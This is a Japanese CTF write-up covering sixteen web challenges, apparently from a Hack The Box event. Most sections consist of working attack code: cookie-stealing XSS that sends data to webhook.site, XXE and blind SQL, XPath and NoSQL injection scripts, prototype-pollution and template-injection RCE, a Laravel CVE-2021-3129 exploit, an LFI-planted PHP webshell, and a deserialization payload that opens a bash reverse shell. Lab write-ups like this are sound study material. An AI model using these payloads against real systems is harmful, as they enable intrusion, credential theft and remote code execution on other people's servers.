4/19 - 4/24という日程で開催された。zer0ptsで参加して12位。
- [Web] Alien Complaint Form
- [Web] Artillery
- [Web] BlitzProp
- [Web] Bug Report
- [Web] CAAS
- [Web] Cessation
- [Web] DaaS
- [Web] Emoji Voting
- [Web] E.Tree
- [Web] Extortion
- [Web] Inspector Gadget
- [Web] Millenium
- [Web] miniSTRypalace
- [Web] pcalc
- [Web] Starfleet
- [Web] Wild Goose Hunt
[Web] Alien Complaint Form
次のような厳しく見えるCSPが適用されている。script-src
ディレクティブは明示的に指定されていないので 'self'
(同一オリジン)になる。
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; object-src 'none'; base-uri 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com">
JSONP(これzer0pts CTF 2021のSimple Blogのコードじゃない? ありがとう)を使う。
const jsonp = (url, callback) => { const s = document.createElement('script'); if (callback) { s.src = `${url}?callback=${callback}`; } else { s.src = url; } document.body.appendChild(s); };
<meta http-equiv="refresh" content="0;URL='/list?callback=location=[`https://webhook.site/...?`,document.cookie];//'">
[Web] Artillery
ジャバ + XXE。GoSecure/dtd-finderを使おう。
import requests payload = ''' <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE root [ <!ENTITY % local_dtd SYSTEM "jar:file:///tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd"> <!ENTITY % URI '(aa) #IMPLIED> <!ENTITY % file SYSTEM "file:///tomcat/webapps/ROOT/WEB-INF/classes/Flag.java"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd; ]> <root><query>%local_dtd;</query></root> '''.strip() r = requests.post('http://188.166.172.13:30432/search', headers={ 'Content-Type': 'application/xml' }, data=payload) print(r.text)
[Web] BlitzProp
flat
というライブラリのバージョンが5.0.0に固定されているが、コミットログを見るとこのバージョンにはPrototype Pollutionがあるとわかる。Pugのgadgetと組み合わせてRCE。
$ curl 'http://178.62.30.167:32243/api/submit' -H 'Content-Type: application/json' --data-raw '{"song.name":"Not Polluting with the boys","__proto__.block":{"type":"Text","line":"pug.rethrow(process.mainModule.require(`child_process`).execSync(`cat /app/flag*`).toString(),2,3)"}}' <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>CHTB{p0llute_with_styl3}</pre> </body> </html>
[Web] Bug Report
XSS。http://127.0.0.1:1337/<script>location=["https://webhook.site/...?",document.cookie]</script>
でCookieからフラグが得られる。
[Web] CAAS
SSRF。COPY /flag
から curl file:///flag
でローカルファイルを読めばよいとわかる。
[Web] Cessation
Apache Traffic ServerのHTTP Smuggling Attack。echo -en "GET /shutdown HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length : 56\r\n\r\nGET /shutdown HTTP/1.1\r\nHost: 127.0.0.1\r\nattack: 1\r\nfoo:\r\n\r\n" | nc 138.68.152.10 32647
を2回実行するとフラグが出た。
[Web] DaaS
Laravel 8.35.1 + デバッグモードが有効なのでCVE-2021-3129が刺さる。
$ php -d'phar.readonly=0' phpggc/phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "cat /flag*" $ ./laravel-ignition-rce.py http://178.62.14.240:32373/ /tmp/exploit.phar + Log file: /www/storage/logs/laravel.log + Logs cleared + Successfully converted to PHAR ! + Phar deserialized -------------------------- HTB{wh3n_7h3_d3bu663r_7urn5_4641n57_7h3_d3bu6633} -------------------------- + Logs cleared
[Web] Emoji Voting
SQLiteのORDER BY以降でのSQLi芸問。Harekaze CTF 2019のSQLite Votingで使ったテクでError-basedに1ビットずつ情報が得られる。
import json import requests def query(payload): r = requests.post('http://138.68.147.232:31939/api/list', headers={ 'Content-Type': 'application/json' }, data=json.dumps({ 'order': payload })) return 'wrong' in r.text i = 1 res = '' while True: c = 0 for j in range(7): if query(f'abs(-9223372036854775807 - case when unicode(substr(sqlite_version(), {i}, 1)) & {1 << j} then 1 else 0 end)'): c |= 1 << j res += chr(c) print(i, res)
[Web] E.Tree
XPath Injection。
import requests import json import string def query(payload): r = requests.post('http://165.227.228.41:32765/api/search', headers={ 'Content-Type': 'application/json' }, data=json.dumps({ 'search': payload })) return 'member exists' in r.text table = string.printable.strip().replace("'", '') res = '' i = 0 while True: for c in table: r = query("'] or starts-with(/military/district[2]/staff[3]/selfDestructCode,'" + res + c + "') or /*[a='") #r = query("'] or starts-with(/military/district[3]/staff[2]/selfDestructCode,'" + res + c + "') or /*[a='") # => part2 if r: res += c break print(i, res) i += 1
[Web] Extortion
LFI問、セッションファイルを include
させる。<?php eval($_GET[0]); ?>
でwebshellを用意してから /?f=../../../../tmp/sess_fb2b511d037d7ada7c66d73ea4e29fdb&0=passthru(%27cat%20flag*%27);
でフラグが得られる。
[Web] Inspector Gadget
CSSとかJSとか色々なファイルにフラグが散らばってるやつ。
[Web] Millenium
ジャバ + Insecure DeserializationはRCEチャンス。rO0ABXQAE3snd29ybSc6J2Rlbl96dWtvJ30=
とかの文字列をBase64デコードすると ac ed 00 05
から始まっているあたりから推測できる。java -jar ysoserial-master-30099844c6-1.jar CommonsCollections4 "bash -c {curl,...:8000}|{bash,-i}" | base64 | tr -d "\n" + bash -c "bash -i >& /dev/tcp/…/8001 0>&1"
でリバースシェルが張れる。
[Web] miniSTRypalace
str_replace
は再帰的に文字列を置換しないので curl "http://46.101.23.157:31385/?lang=..././..././..././..././flag"
でPath Traversalできる。
<?php $lang = ['en.php', 'qw.php']; include('pages/' . (isset($_GET['lang']) ? str_replace('../', '', $_GET['lang']) : $lang[array_rand($lang)])); ?>
[Web] pcalc
S4CTF 2021のjunior-phpと同じ手順でなんとかなる。
[Web] Starfleet
NunjucksでSSTI。
{{ range.constructor('process.mainModule.require("child_process").execSync("/readflag | curl https://webhook.site/... -d @-")')() }}
[Web] Wild Goose Hunt
NoSQL Injection(MongoDB)。
import requests table = ['\\{', '\\}'] + list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_') known = 'CHTB' while True: for c in table: r = requests.post('http://138.68.143.0:32306/api/login', data={ 'username': 'admin', 'password[$regex]': known + c + '.*' }) if 'Successful' in r.text: known += c print(known) break